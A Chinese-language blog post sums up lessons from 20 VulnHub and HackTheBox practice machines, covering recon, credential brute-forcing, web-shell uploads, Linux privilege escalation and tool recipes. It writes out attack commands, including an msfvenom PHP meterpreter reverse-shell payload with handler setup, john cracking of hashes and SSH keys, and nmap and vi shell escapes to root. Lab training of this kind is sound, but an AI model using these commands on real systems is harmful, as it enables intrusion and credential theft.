20台靶机小结(vulnhub和HTB)

稀里糊涂就做了20台靶机了,从一开始的小白到现在稍微有一点感觉,觉得自己进步了一点,总的来说还是很菜。由于基础差,对linux和windows机制不太熟悉,很多靶机都是照着师傅们的wp做出来的。做靶机和打CTF还是有差别,记录其中的一些脑洞和操作。

一、信息收集

1.在整个渗透过程中,收集到的账号密码全部保存为user.txtpass.txt,遇到有需要账号认证的地方(ssh、后台、数据库、FTP等等)就爆破一下,说不定拿着后台账号密码就进了ssh
2.nmap查看各种服务版本,然后在Exploit Database上查看是否有对应版本的漏洞,有RCE就能直接拿到shell;
如果没有扫到22端口,可能是受了knockd限制,后面的渗透过程中,找机会查看一下knockd.conf
3.目录扫描后台,dirb、dirsearch、dirbuster
4.模糊测试 wufzz用法
wfuzz -c -w /root/wordlist/common.txt --hc 404 x.x.x.x/\FUZZ\/1.php
-w 字典
模糊测试的部分用\FUZZ\代替
5.wordpress站用wpscan扫描,没有漏洞也可以收集用户名
wpscan -u http://xx.com -e u 枚举用户

二、进入网站后台后的操作

1.如果是通过密码进的后台,一定去ssh尝试一下说不定root都给你拿了
2.寻找编辑PHP、aspx的地方,写个shell进去,直接nc弹或者用msf的反弹shell(msf的meterpreter真的很好用)
3.知名度高的CMS(如wordpress、Drupal等等)查看一下插件组件的版本,然后搜索一下漏洞库有无对应RCE
4.找上传点传一个shell上去

三、继续提权的操作(已经获取www或者user权限)

1.查看数据库密码 ,加入pass.txt
2.查看/etc/passwd,把nologin结尾的用户删掉,其余加入user.txt
3.查看内核版本,内核提权
uname -a
lsb_release -a
4.查看备份文件和邮箱 /etc/mail /var/mail ,邮箱里可能有某个用户的密码,或者crontab定期执行脚本,home下可能有隐藏文件一定要用ls -al查看,里面可能有备忘录
5.sudo -l查看当前用户可以执行其他用户的权限的系统命令
6.上传LinEnum.sh脚本,查看有无存在提权漏洞的软件,如exim4 4.87-4.91和screen-4.5.0,或者可以执行root权限的命令nmap,python,find -exec等等
7.如果是用的meterpreter,输入background挂起当前session,然后可以在这个session的基础上运行一个suggester,扫描出来的漏洞能够精确到利用脚本,非常方便

四、一些工具的用法
1.msf反弹shell
msfvenom -f raw -p php/meterpreter/reverse_tcp -o shell.php LHOST= LPORT=
-f 格式 PHP的就是raw,asp 的就是asp 。–list formats 查看所有formats
-p payloads php环境下就用php/meterpreter/reverse_tcp,windows环境下用windows/meterpreter/reverse_tcp
msfconsole
use exploit/multi/handler
set payload= php/meterpreter/reverse_tcp 一定要使用正确的payload
set LHOST=
set LPORT=
run
2.john爆破hash
john --wordlist=/root/wordlist/passwd.txt hash.txt
john --show hash.txt
如果拿到了私钥,也可以用john爆破
python3 /usr/share/john/ssh2john.py id_rsa >hash.txt
john --wordlist=Wordlist/rockyou.txt hash.txt
3.nmap提权
在低版本的nmap里有–interactive可以进入交互界面,然后输入!sh返回一个shell
高版本的使用–script=root.nse
echo "os.execute('/bin/sh')" > /tmp/root.nse
sudo nmap --script=/tmp/root.nse
4.drush
drush是一个drupal的命令行管理软件 可以用drush重置后台密码
drush user-password admin --password='pass'
必须在web目录下/var/www/html
5.vi 提权
多用在当前shell受限制情况下,或者有root执行vi的机会
vi
:set shell=/bin/sh
:shell
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6.redis提权
见我的另一篇博客
从安装Redis练习常规姿势 到HTB实战 postman userflag

你可能感兴趣的:(20台靶机小结(vulnhub和HTB))